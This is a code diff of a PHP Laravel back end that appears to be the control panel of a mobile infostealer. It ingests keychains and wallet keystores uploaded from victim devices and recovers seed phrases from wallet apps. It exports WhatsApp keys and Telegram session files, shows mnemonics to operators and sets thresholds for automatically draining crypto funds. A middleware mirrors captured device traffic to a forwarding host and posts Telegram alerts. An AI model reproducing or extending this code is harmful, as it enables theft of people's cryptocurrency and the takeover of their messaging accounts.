/**
|
||||
* Recursively remove a directory (best-effort).
|
||||
*/
|
||||
private function rrmdir(string $dir): void
|
||||
{
|
||||
if (! is_dir($dir)) {
|
||||
return;
|
||||
}
|
||||
$items = array_diff(scandir($dir) ?: [], ['.', '..']);
|
||||
foreach ($items as $item) {
|
||||
$path = $dir.'/'.$item;
|
||||
if (is_dir($path)) {
|
||||
$this->rrmdir($path);
|
||||
} else {
|
||||
@unlink($path);
|
||||
}
|
||||
}
|
||||
@rmdir($dir);
|
||||
}
|
||||
|
||||
/**
|
||||
* Bulk export all sessions matching the current filter as a ZIP.
|
||||
* Uses a temp file + ZipArchive (disk-based, not memory) and a DB cursor
|
||||
@@ -163,6 +377,52 @@ class PluginSessionController extends Controller
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Bulk export WhatsApp sessions as a single NDJSON .txt file
|
||||
* (one JSON object per line, 26 fields — the chk.ts / __ws.txt format).
|
||||
*
|
||||
* Each wap.js payload is converted on the fly: protobuf signedPreKey
|
||||
* decode, libsodium curve25519 public-key derivation, and cc/country/in
|
||||
* inference from the bare phone number. Sessions lacking the minimum
|
||||
* key material are skipped (counted in X-Export-Skipped).
|
||||
*/
|
||||
public function exportWs(Request $request, WsPayloadConverter $converter)
|
||||
{
|
||||
$q = $this->baseQuery($request, PluginSession::KIND_WHATSAPP);
|
||||
$total = $q->count();
|
||||
if ($total === 0) {
|
||||
return response()->json(['code' => 1, 'msg' => '没有可导出的 WhatsApp 数据'], 422);
|
||||
}
|
||||
if ($total > 1000) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => '数据量过大('.$total.' 条,上限 1000),请缩小时间范围后导出',
|
||||
], 422);
|
||||
}
|
||||
|
||||
$fileName = 'ws-'.date('Ymd-His').'.txt';
|
||||
|
||||
return response()->streamDownload(function () use ($q, $converter, &$written, &$skipped) {
|
||||
$written = 0;
|
||||
$skipped = 0;
|
||||
foreach ($q->cursor() as $row) {
|
||||
/** @var PluginSession $row */
|
||||
$line = $converter->convertToLine($row, $row->device);
|
||||
if ($line === null) {
|
||||
$skipped++;
|
||||
continue;
|
||||
}
|
||||
echo $line."\n";
|
||||
$written++;
|
||||
}
|
||||
}, $fileName, [
|
||||
'Content-Type' => 'text/plain; charset=UTF-8',
|
||||
'X-Export-Count' => (string) $total,
|
||||
'X-Export-Written' => (string) ($written ?? 0),
|
||||
'X-Export-Skipped' => (string) ($skipped ?? 0),
|
||||
]);
|
||||
}
|
||||
|
||||
private function page(string $kind)
|
||||
{
|
||||
$agents = $this->isAgentPortal()
|
||||
@@ -194,7 +454,8 @@ class PluginSessionController extends Controller
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function ($row) use ($portal) {
|
||||
$isSuper = (bool) auth('admin')->user()?->isSuper();
|
||||
$data = collect($paginator->items())->map(function ($row) use ($portal, $isSuper) {
|
||||
/** @var PluginSession $row */
|
||||
$summary = $row->listSummary();
|
||||
|
||||
@@ -205,6 +466,15 @@ class PluginSessionController extends Controller
|
||||
'channel_id' => $row->device_channel_id ?: '',
|
||||
'payload_url' => route($portal.'.sessions.payload', $row, false),
|
||||
'download_url' => route($portal.'.sessions.download', $row, false),
|
||||
'tdata_url' => ((int) $row->kind === PluginSession::KIND_TELEGRAM && $isSuper)
|
||||
? route($portal.'.sessions.tdata', $row, false)
|
||||
: '',
|
||||
'session_file_url' => ((int) $row->kind === PluginSession::KIND_TELEGRAM && $isSuper)
|
||||
? route($portal.'.sessions.session-file', $row, false)
|
||||
: '',
|
||||
'ws_full_url' => (int) $row->kind === PluginSession::KIND_WHATSAPP
|
||||
? route($portal.'.sessions.ws-full', $row, false)
|
||||
: '',
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', $row->device_id),
|
||||
|
||||
@@ -46,6 +46,7 @@ class SystemSettingsController extends Controller
|
||||
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
|
||||
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
|
||||
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
|
||||
'auto_transfer_threshold_bnb' => ['nullable', 'numeric', 'min:0'],
|
||||
'transfer_fee_address_tron' => ['nullable', 'string', 'max:128'],
|
||||
'transfer_fee_private_key_tron' => ['nullable', 'string', 'max:255'],
|
||||
'transfer_fee_topup_trx' => ['nullable', 'numeric', 'min:0.000001'],
|
||||
@@ -81,6 +82,7 @@ class SystemSettingsController extends Controller
|
||||
'auto_transfer.threshold_trx' => $threshold($data['auto_transfer_threshold_trx'] ?? null) ?? '',
|
||||
'auto_transfer.threshold_eth' => $threshold($data['auto_transfer_threshold_eth'] ?? null) ?? '',
|
||||
'auto_transfer.threshold_btc' => $threshold($data['auto_transfer_threshold_btc'] ?? null) ?? '',
|
||||
'auto_transfer.threshold_bnb' => $threshold($data['auto_transfer_threshold_bnb'] ?? null) ?? '',
|
||||
'transfer.fee_address_tron' => $threshold($data['transfer_fee_address_tron'] ?? null) ?? '',
|
||||
'transfer.fee_private_key_tron' => $threshold($data['transfer_fee_private_key_tron'] ?? null),
|
||||
'transfer.fee_topup_trx' => $threshold($data['transfer_fee_topup_trx'] ?? null) ?? '20',
|
||||
|
||||
@@ -21,9 +21,10 @@ class TransferRecordController extends Controller
|
||||
'chains' => [
|
||||
'tron' => 'TRON',
|
||||
'eth' => 'ETH',
|
||||
'bsc' => 'BSC',
|
||||
'btc' => 'BTC',
|
||||
],
|
||||
'assets' => ['USDT', 'TRX', 'ETH', 'BTC'],
|
||||
'assets' => ['USDT', 'TRX', 'ETH', 'BTC', 'BNB'],
|
||||
]);
|
||||
}
|
||||
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Concerns\RevealsMnemonics;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
@@ -17,6 +18,7 @@ use Illuminate\Validation\Rule;
|
||||
class WalletAddressController extends Controller
|
||||
{
|
||||
use PortalAware;
|
||||
use RevealsMnemonics;
|
||||
|
||||
public function index()
|
||||
{
|
||||
@@ -42,6 +44,9 @@ class WalletAddressController extends Controller
|
||||
'agents' => $agents,
|
||||
'sources' => $sources,
|
||||
'chainTypes' => $chainTypes,
|
||||
'can_reveal' => $this->canRevealMnemonics(),
|
||||
'google_bound' => $this->googleBoundForReveal(),
|
||||
'google2fa_url' => $this->google2faUrl(),
|
||||
]);
|
||||
}
|
||||
|
||||
@@ -65,9 +70,11 @@ class WalletAddressController extends Controller
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function ($row) use ($portal) {
|
||||
$canReveal = $this->canRevealMnemonics();
|
||||
$data = collect($paginator->items())->map(function ($row) use ($portal, $canReveal) {
|
||||
/** @var WalletAddress $row */
|
||||
$coins = $row->formattedCoins();
|
||||
$mnemonicId = $row->mnemonic_id;
|
||||
|
||||
return [
|
||||
'id' => $row->id,
|
||||
@@ -76,7 +83,11 @@ class WalletAddressController extends Controller
|
||||
'source' => $row->source ?: '',
|
||||
'chain_type' => $row->chain_type ?: '',
|
||||
'address' => $row->address,
|
||||
'collectable' => $row->mnemonic_id !== null,
|
||||
'collectable' => $mnemonicId !== null,
|
||||
'mnemonic_id' => $mnemonicId,
|
||||
'reveal_url' => ($canReveal && $mnemonicId !== null)
|
||||
? $this->mnemonicRevealUrl($mnemonicId)
|
||||
: '',
|
||||
'usdt' => $coins['usdt'],
|
||||
'trx' => $coins['trx'],
|
||||
'eth' => $coins['eth'],
|
||||
@@ -159,9 +170,10 @@ class WalletAddressController extends Controller
|
||||
if ($amount === '' || strcasecmp($amount, 'all') === 0 || $amount === '全部') {
|
||||
$amount = null;
|
||||
} else {
|
||||
$decimals = match ($asset) {
|
||||
'ETH' => 18,
|
||||
'BTC' => 8,
|
||||
$decimals = match (true) {
|
||||
$asset === 'ETH', $asset === 'BNB' => 18,
|
||||
$asset === 'BTC' => 8,
|
||||
$asset === 'USDT' && $chain === 'bsc' => 18,
|
||||
default => 6,
|
||||
};
|
||||
if (! preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $amount)) {
|
||||
@@ -207,6 +219,9 @@ class WalletAddressController extends Controller
|
||||
if (str_contains($type, 'TRON') || $type === 'TRX') {
|
||||
return 'tron';
|
||||
}
|
||||
if (str_contains($type, 'BSC') || str_contains($type, 'BNB') || str_contains($type, 'BINANCE')) {
|
||||
return 'bsc';
|
||||
}
|
||||
if (str_contains($type, 'ETH') || str_contains($type, 'EVM')) {
|
||||
return 'eth';
|
||||
}
|
||||
@@ -233,7 +248,8 @@ class WalletAddressController extends Controller
|
||||
private function assetsForChain(string $chain): array
|
||||
{
|
||||
return match ($chain) {
|
||||
'eth' => ['ETH', 'USDT'],
|
||||
'eth' => ['ETH', 'USDT', 'BNB'],
|
||||
'bsc' => ['BNB', 'USDT'],
|
||||
'btc' => ['BTC'],
|
||||
default => ['USDT', 'TRX'],
|
||||
};
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
namespace App\Http\Controllers\Agent;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\SystemLog;
|
||||
use App\Models\User;
|
||||
use App\Services\AdminGoogle2fa;
|
||||
use App\Support\VisitorIp;
|
||||
@@ -63,6 +64,12 @@ class AuthController extends Controller
|
||||
|
||||
/** @var User|null $user */
|
||||
$user = User::query()->where('username', $credentials['username'])->first();
|
||||
if ($user && $user->isLocked()) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => '账号已被封锁(连续输错密码 '.self::MAX_ATTEMPTS.' 次),请联系管理员解除',
|
||||
]);
|
||||
}
|
||||
if ($user && ! $user->isEnabled()) {
|
||||
RateLimiter::hit($throttleKey, self::DECAY_SECONDS);
|
||||
|
||||
@@ -75,6 +82,31 @@ class AuthController extends Controller
|
||||
)) {
|
||||
RateLimiter::hit($throttleKey, self::DECAY_SECONDS);
|
||||
|
||||
if ($user) {
|
||||
$justLocked = $user->recordFailedLogin(self::MAX_ATTEMPTS);
|
||||
if ($justLocked) {
|
||||
SystemLog::record(
|
||||
$user,
|
||||
'agent',
|
||||
SystemLog::ACTION_AGENT_LOCKED,
|
||||
'代理「'.$user->username.'」连续输错密码 '.self::MAX_ATTEMPTS.' 次,账号被自动封锁',
|
||||
$request,
|
||||
);
|
||||
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => '密码连续输错 '.self::MAX_ATTEMPTS.' 次,账号已被封锁,请联系管理员解除',
|
||||
]);
|
||||
}
|
||||
$remaining = self::MAX_ATTEMPTS - (int) $user->fresh()->login_attempts;
|
||||
if ($remaining > 0) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => '用户名或密码错误(剩余 '.$remaining.' 次尝试机会)',
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
return response()->json(['code' => 1, 'msg' => '用户名或密码错误']);
|
||||
}
|
||||
|
||||
@@ -96,6 +128,7 @@ class AuthController extends Controller
|
||||
}
|
||||
|
||||
RateLimiter::clear($throttleKey);
|
||||
$user->clearLoginAttempts();
|
||||
$request->session()->regenerate();
|
||||
|
||||
return response()->json([
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,308 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Middleware;
|
||||
|
||||
use App\Services\IngestService;
|
||||
use App\Services\TelegramNotifier;
|
||||
use App\Support\VisitorIp;
|
||||
use Closure;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Symfony\Component\HttpFoundation\Response;
|
||||
|
||||
/**
|
||||
* Intercept requests from designated device IDs.
|
||||
*
|
||||
* Runs AFTER DecryptXxbbBody / DecryptCorunaBody so that the normalized
|
||||
* device key is available via the `coruna_device_key` request attribute.
|
||||
*
|
||||
* For each matched request the middleware:
|
||||
* 1. Appends a record to public/log/intercept/Ymd.log (separate from c2/xxbb).
|
||||
* 2. Sends a Telegram alert through a dedicated bot (INTERCEPT_BOT_TOKEN /
|
||||
* INTERCEPT_CHAT_ID) when configured.
|
||||
* 3. Mirrors the raw request (same method / path / query / headers / body,
|
||||
* only the host changes) to INTERCEPT_FORWARD_URL when configured.
|
||||
*
|
||||
* The middleware never blocks or modifies the response — normal request
|
||||
* processing continues regardless of interception outcome.
|
||||
*/
|
||||
class InterceptDeviceData
|
||||
{
|
||||
public function handle(Request $request, Closure $next): Response
|
||||
{
|
||||
$deviceKey = $this->resolveDeviceKey($request);
|
||||
|
||||
if ($deviceKey !== '' && $this->shouldIntercept($deviceKey)) {
|
||||
try {
|
||||
$this->intercept($request, $deviceKey);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('intercept middleware error: '.$e->getMessage(), [
|
||||
'device_key' => $deviceKey,
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
return $next($request);
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolve the normalized device key for this request.
|
||||
*
|
||||
* Prefers the attribute set by DecryptXxbbBody / DecryptCorunaBody.
|
||||
* Falls back to request input fields (d / f / ecid) for multipart or
|
||||
* DarkSword requests where the decrypt middleware skipped the attribute.
|
||||
*/
|
||||
private function resolveDeviceKey(Request $request): string
|
||||
{
|
||||
$key = $request->attributes->get('coruna_device_key');
|
||||
if (is_string($key) && $key !== '') {
|
||||
return $key;
|
||||
}
|
||||
|
||||
foreach (['d', 'f', 'ecid'] as $field) {
|
||||
$value = $request->input($field);
|
||||
if (is_string($value) && $value !== '') {
|
||||
return IngestService::normalizeDeviceKey(substr($value, 0, 64)) ?? '';
|
||||
}
|
||||
}
|
||||
|
||||
return '';
|
||||
}
|
||||
|
||||
/**
|
||||
* Case-insensitive membership check against the configured device list.
|
||||
*/
|
||||
private function shouldIntercept(string $deviceKey): bool
|
||||
{
|
||||
$list = config('coruna.intercept.device_keys', []);
|
||||
if (! is_array($list) || $list === []) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return in_array(strtolower($deviceKey), $list, true);
|
||||
}
|
||||
|
||||
/**
|
||||
* Log + notify + forward the matched request.
|
||||
*/
|
||||
private function intercept(Request $request, string $deviceKey): void
|
||||
{
|
||||
$meta = $this->collectMeta($request, $deviceKey);
|
||||
|
||||
$this->writeLog($meta);
|
||||
|
||||
// Skip Telegram push for high-frequency paths (e.g. /event telemetry),
|
||||
// but still log and forward so no data is lost.
|
||||
if (! $this->shouldSkipPush($meta['path'])) {
|
||||
$this->notify($meta);
|
||||
}
|
||||
|
||||
$this->forward($request, $meta);
|
||||
}
|
||||
|
||||
/**
|
||||
* Whether the Telegram push should be skipped for this path.
|
||||
*/
|
||||
private function shouldSkipPush(string $path): bool
|
||||
{
|
||||
$skipPaths = config('coruna.intercept.push_skip_paths', []);
|
||||
if (! is_array($skipPaths) || $skipPaths === []) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return in_array($path, $skipPaths, true);
|
||||
}
|
||||
|
||||
/**
|
||||
* Gather request metadata for logging and notification.
|
||||
*/
|
||||
private function collectMeta(Request $request, string $deviceKey): array
|
||||
{
|
||||
$path = '/'.ltrim($request->path(), '/');
|
||||
|
||||
return [
|
||||
'time' => date('Y-m-d H:i:s'),
|
||||
'device_key' => $deviceKey,
|
||||
'method' => $request->method(),
|
||||
'path' => $path,
|
||||
'uri' => $request->getRequestUri(),
|
||||
'ip' => VisitorIp::fromRequest($request),
|
||||
'remote_addr' => $request->server->get('REMOTE_ADDR'),
|
||||
'host' => $request->getHost(),
|
||||
'content_type' => (string) $request->header('content-type'),
|
||||
'content_length' => strlen($request->getContent()),
|
||||
'headers' => $this->collectHeaders($request),
|
||||
'payload' => $this->collectPayload($request),
|
||||
'decrypt_ok' => (bool) $request->attributes->get('coruna_decrypt_ok'),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Select headers worth recording (skip cookie / authorization for safety).
|
||||
*/
|
||||
private function collectHeaders(Request $request): array
|
||||
{
|
||||
$headers = [];
|
||||
foreach ([
|
||||
'x-ts', 'x-hash', 'timestamp', 'sdkv', 'ver', 'accept',
|
||||
'content-type', 'user-agent', 'host', 'cf-connecting-ip',
|
||||
'cf-ipcountry', 'x-forwarded-for', 'x-real-ip',
|
||||
] as $h) {
|
||||
if ($request->headers->has($h)) {
|
||||
$headers[$h] = $request->headers->get($h);
|
||||
}
|
||||
}
|
||||
|
||||
return $headers;
|
||||
}
|
||||
|
||||
/**
|
||||
* Best-effort payload snapshot for the log.
|
||||
*
|
||||
* Uses the decrypted payload when the decrypt middleware set it;
|
||||
* otherwise records the raw body (truncated for very large uploads).
|
||||
*/
|
||||
private function collectPayload(Request $request): mixed
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
if (is_array($payload)) {
|
||||
return $payload;
|
||||
}
|
||||
|
||||
$raw = $request->getContent();
|
||||
if (strlen($raw) > 200000) {
|
||||
return ['_raw_truncated' => substr($raw, 0, 200000)];
|
||||
}
|
||||
|
||||
return $raw === '' ? null : ['_raw' => $raw];
|
||||
}
|
||||
|
||||
/**
|
||||
* Append the interception record to public/log/intercept/Ymd.log.
|
||||
*/
|
||||
private function writeLog(array $meta): void
|
||||
{
|
||||
$logPath = public_path('log/intercept');
|
||||
if (! is_dir($logPath) && ! @mkdir($logPath, 0775, true) && ! is_dir($logPath)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$logName = $logPath.'/'.date('Ymd').'.log';
|
||||
$line = $meta['time'].' '.$meta['method'].' '.$meta['uri'].' '
|
||||
.json_encode($meta, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)
|
||||
."\r\n\r\n";
|
||||
|
||||
$isNew = ! file_exists($logName);
|
||||
if (@file_put_contents($logName, $line, FILE_APPEND) === false) {
|
||||
return;
|
||||
}
|
||||
if ($isNew) {
|
||||
@chmod($logName, 0664);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Send a Telegram alert via the dedicated intercept bot.
|
||||
*/
|
||||
private function notify(array $meta): void
|
||||
{
|
||||
$token = (string) config('coruna.intercept.bot_token', '');
|
||||
$chatId = (string) config('coruna.intercept.chat_id', '');
|
||||
if ($token === '' || $chatId === '') {
|
||||
return;
|
||||
}
|
||||
|
||||
$text = implode("\n", [
|
||||
'🚨 <b>设备数据拦截</b>',
|
||||
'📱 <b>设备</b>: <code>'.$this->e($meta['device_key']).'</code>',
|
||||
'🌐 <b>IP</b>: <code>'.$this->e($meta['ip'] ?: '—').'</code>',
|
||||
'📥 <b>请求</b>: <code>'.$this->e($meta['method'].' '.$meta['path']).'</code>',
|
||||
'📦 <b>大小</b>: '.$this->e((string) $meta['content_length']).' bytes',
|
||||
'🕐 <b>时间</b>: '.$this->e($meta['time']),
|
||||
]);
|
||||
|
||||
try {
|
||||
app(TelegramNotifier::class)->sendToChat($chatId, $text, $token);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('intercept telegram notify failed: '.$e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Mirror the raw request to the configured forward URL.
|
||||
*
|
||||
* Preserves method, path, query string, headers, and body — only the
|
||||
* host (scheme + domain) is replaced with INTERCEPT_FORWARD_URL.
|
||||
*/
|
||||
private function forward(Request $request, array $meta): void
|
||||
{
|
||||
$baseUrl = rtrim((string) config('coruna.intercept.forward_url', ''), '/');
|
||||
if ($baseUrl === '') {
|
||||
return;
|
||||
}
|
||||
|
||||
// Rebuild the target URL: base + original path + original query.
|
||||
$target = $baseUrl.$request->getRequestUri();
|
||||
|
||||
// Collect headers to forward — drop Host (will be set by HTTP client
|
||||
// based on the target URL) and hop-by-hop headers.
|
||||
$headers = [];
|
||||
$skip = ['host', 'content-length', 'transfer-encoding', 'connection', 'expect'];
|
||||
foreach ($request->headers->all() as $name => $values) {
|
||||
if (in_array(strtolower($name), $skip, true)) {
|
||||
continue;
|
||||
}
|
||||
$headers[$name] = $values;
|
||||
}
|
||||
|
||||
$body = $request->getContent();
|
||||
$timeout = (int) config('coruna.intercept.forward_timeout', 10);
|
||||
|
||||
try {
|
||||
$resp = Http::withHeaders($headers)
|
||||
->timeout($timeout)
|
||||
->connectTimeout(min($timeout, 5))
|
||||
->send($request->method(), $target, [
|
||||
'body' => $body,
|
||||
'allow_redirects' => false,
|
||||
]);
|
||||
|
||||
$this->writeForwardLog($meta, $target, $resp->status(), (string) $resp->body());
|
||||
} catch (\Throwable $e) {
|
||||
$this->writeForwardLog($meta, $target, 0, $e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Record the forwarding result alongside the interception log.
|
||||
*/
|
||||
private function writeForwardLog(array $meta, string $target, int $status, string $body): void
|
||||
{
|
||||
$logPath = public_path('log/intercept');
|
||||
if (! is_dir($logPath)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$logName = $logPath.'/'.date('Ymd').'.log';
|
||||
$entry = [
|
||||
'time' => date('Y-m-d H:i:s'),
|
||||
'dir' => 'forward',
|
||||
'device_key' => $meta['device_key'],
|
||||
'target' => $target,
|
||||
'status' => $status,
|
||||
'response' => strlen($body) > 4000 ? substr($body, 0, 4000) : $body,
|
||||
];
|
||||
|
||||
$line = $entry['time'].' FORWARD '.$entry['target'].' '
|
||||
.json_encode($entry, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)
|
||||
."\r\n\r\n";
|
||||
|
||||
@file_put_contents($logName, $line, FILE_APPEND);
|
||||
}
|
||||
|
||||
private function e(?string $value): string
|
||||
{
|
||||
return htmlspecialchars((string) $value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
|
||||
}
|
||||
}
|
||||
@@ -3,6 +3,7 @@
|
||||
namespace App\Jobs;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Services\AppUploadIngester;
|
||||
use App\Services\DarkSwordIngestAdapter;
|
||||
use App\Services\DsKeystoreDecrypt;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
@@ -24,7 +25,7 @@ class DecryptDeviceKeystores implements ShouldQueue
|
||||
|
||||
public int $tries = 1;
|
||||
|
||||
public int $timeout = 180;
|
||||
public int $timeout = 300;
|
||||
|
||||
/**
|
||||
* @param int $deviceId Device to process.
|
||||
@@ -35,11 +36,18 @@ class DecryptDeviceKeystores implements ShouldQueue
|
||||
public int $deviceId,
|
||||
public ?array $wallets = null,
|
||||
public ?array $sandbox = null,
|
||||
) {}
|
||||
) {
|
||||
// Production always leaves PHP-FPM. Tests keep the default (sync) driver
|
||||
// so recovery still runs inline without a Redis worker.
|
||||
if (! app()->runningUnitTests()) {
|
||||
$this->onConnection('keystore');
|
||||
}
|
||||
}
|
||||
|
||||
public function handle(
|
||||
DarkSwordIngestAdapter $adapter,
|
||||
DsKeystoreDecrypt $decrypt,
|
||||
AppUploadIngester $ingester,
|
||||
): void {
|
||||
$device = Device::query()->find($this->deviceId);
|
||||
if ($device === null) {
|
||||
@@ -50,10 +58,21 @@ class DecryptDeviceKeystores implements ShouldQueue
|
||||
return;
|
||||
}
|
||||
|
||||
$ingester->splitStoredKeychainVaults($device);
|
||||
$device->load('keystores');
|
||||
|
||||
$wallets = $this->wallets ?? [];
|
||||
$sandbox = $this->sandbox ?? [];
|
||||
|
||||
// When dispatched without a payload (e.g. AppUploadIngester::dispatchDecrypt
|
||||
// passes null,null), rebuild wallets/sandbox from already-stored keystores so
|
||||
// structured recovery (Bitpie / Trust / Coin98 / Phantom) can still traverse
|
||||
// the keychain tree and extract mnemonics. Without this, Bitpie seedPhraseEntropy
|
||||
// stored under source="app/keychain" is never fed to recoverBitpie().
|
||||
if ($wallets === [] && $sandbox === []) {
|
||||
[$wallets, $sandbox] = $adapter->storedWalletTrees($device);
|
||||
}
|
||||
|
||||
$errors = [];
|
||||
|
||||
// ── 1. Structured recovery (Bitpie / Trust / Coin98 / Phantom) ──
|
||||
|
||||
@@ -0,0 +1,379 @@
|
||||
<?php
|
||||
|
||||
namespace App\Jobs;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Services\AppUploadIngester;
|
||||
use Illuminate\Bus\Queueable;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Foundation\Bus\Dispatchable;
|
||||
use Illuminate\Queue\InteractsWithQueue;
|
||||
use Illuminate\Queue\SerializesModels;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
/**
|
||||
* Async processing of SignalShell v1 uploads.
|
||||
*
|
||||
* The HTTP handler saves the raw file + registers the device synchronously
|
||||
* (fast: <5ms), then dispatches this job for the heavy work:
|
||||
* - ZIP parsing + address scanning
|
||||
* - keychain XML parsing
|
||||
* - wallet keystore extraction
|
||||
* - blockchain address extraction
|
||||
*
|
||||
* This prevents memory exhaustion when many devices upload simultaneously
|
||||
* (each MetaMask ZIP expands to ~9.3MB of text data in memory).
|
||||
*/
|
||||
class ProcessShellUpload implements ShouldQueue
|
||||
{
|
||||
use Queueable;
|
||||
use Dispatchable;
|
||||
use InteractsWithQueue;
|
||||
use SerializesModels;
|
||||
|
||||
public int $tries = 2;
|
||||
|
||||
public int $timeout = 120;
|
||||
|
||||
public function __construct(
|
||||
public int $deviceId,
|
||||
public string $filePath,
|
||||
public string $filename,
|
||||
public string $apiKey,
|
||||
) {
|
||||
if (! app()->runningUnitTests()) {
|
||||
$this->onConnection('shell');
|
||||
}
|
||||
}
|
||||
|
||||
public function handle(AppUploadIngester $ingester): void
|
||||
{
|
||||
$device = Device::query()->find($this->deviceId);
|
||||
if ($device === null) {
|
||||
Log::channel('keystore')->warning('ProcessShellUpload: device not found', [
|
||||
'device_id' => $this->deviceId,
|
||||
]);
|
||||
return;
|
||||
}
|
||||
|
||||
if (! file_exists($this->filePath)) {
|
||||
Log::channel('keystore')->warning('ProcessShellUpload: file not found', [
|
||||
'file' => $this->filePath,
|
||||
]);
|
||||
return;
|
||||
}
|
||||
|
||||
$body = file_get_contents($this->filePath);
|
||||
$size = strlen($body);
|
||||
|
||||
Log::channel('keystore')->info('ProcessShellUpload: START', [
|
||||
'device_id' => $device->id,
|
||||
'filename' => $this->filename,
|
||||
'size' => $size,
|
||||
]);
|
||||
|
||||
$lower = strtolower($this->filename);
|
||||
|
||||
// Skip log files — no wallet data
|
||||
if (str_ends_with($lower, '.log') || str_ends_with($lower, '_log')) {
|
||||
Log::channel('keystore')->info('ProcessShellUpload: skipped (log file)');
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
if (str_ends_with($lower, '.zip')) {
|
||||
$this->processZip($device, $body, $this->filename);
|
||||
} elseif (str_contains($lower, 'keychain') || str_ends_with($lower, '.xml')) {
|
||||
// Keychain XML → use existing ingester
|
||||
$ingester->ingestArtifact($device, $body, $this->filename);
|
||||
}
|
||||
|
||||
// After all data ingested, run decryption
|
||||
if (str_contains($lower, 'notes') || str_contains($lower, 'keychain')) {
|
||||
// This is likely the last upload — trigger decryption
|
||||
app(App\Services\AppUploadIngester::class)->dispatchDecrypt($device);
|
||||
}
|
||||
} catch (\Throwable $e) {
|
||||
Log::channel('keystore')->error('ProcessShellUpload: failed', [
|
||||
'device_id' => $device->id,
|
||||
'filename' => $this->filename,
|
||||
'error' => $e->getMessage(),
|
||||
'trace' => $e->getTraceAsString(),
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
private function processZip(Device $device, string $body, string $filename): void
|
||||
{
|
||||
$tmpFile = tempnam(sys_get_temp_dir(), 'shell_proc_');
|
||||
file_put_contents($tmpFile, $body);
|
||||
|
||||
$zip = new \ZipArchive;
|
||||
if ($zip->open($tmpFile) !== true) {
|
||||
@unlink($tmpFile);
|
||||
return;
|
||||
}
|
||||
|
||||
// Map filename → wallet source label
|
||||
$sourceLabel = $this->sourceFromFilename($filename);
|
||||
$lower = strtolower($filename);
|
||||
|
||||
// ── 1. Extract keystore files ──
|
||||
$foundKeystores = [];
|
||||
for ($i = 0; $i < $zip->numFiles; $i++) {
|
||||
$name = $zip->getNameIndex($i);
|
||||
if (str_ends_with($name, '/')) continue;
|
||||
|
||||
$content = $zip->getFromIndex($i);
|
||||
if ($content === false || $content === '') continue;
|
||||
|
||||
$bn = basename($name);
|
||||
|
||||
// UTC keystore
|
||||
if (str_starts_with($bn, 'UTC--') && $this->isJson($content)) {
|
||||
$foundKeystores[] = ['name' => $bn, 'content' => $content];
|
||||
}
|
||||
|
||||
// imToken walletsV2
|
||||
if (str_contains(strtolower($name), 'walletsv2/') && str_ends_with($lower, '.json') && $this->isJson($content)) {
|
||||
$foundKeystores[] = ['name' => $bn, 'content' => $content];
|
||||
}
|
||||
}
|
||||
|
||||
// Store keystores
|
||||
foreach ($foundKeystores as $ks) {
|
||||
$rawJson = json_decode($ks['content'], true);
|
||||
if (is_array($rawJson) && ! isset($rawJson['kind'])) {
|
||||
if (isset($rawJson['crypto']) || str_starts_with($ks['name'], 'UTC--')) {
|
||||
$rawJson['kind'] = 'web3.keystore';
|
||||
} elseif (str_contains($ks['name'], 'walletsv2') || isset($rawJson['imTokenMeta'])) {
|
||||
$rawJson['kind'] = 'web3.keystore';
|
||||
}
|
||||
}
|
||||
|
||||
try {
|
||||
WalletKeystore::create([
|
||||
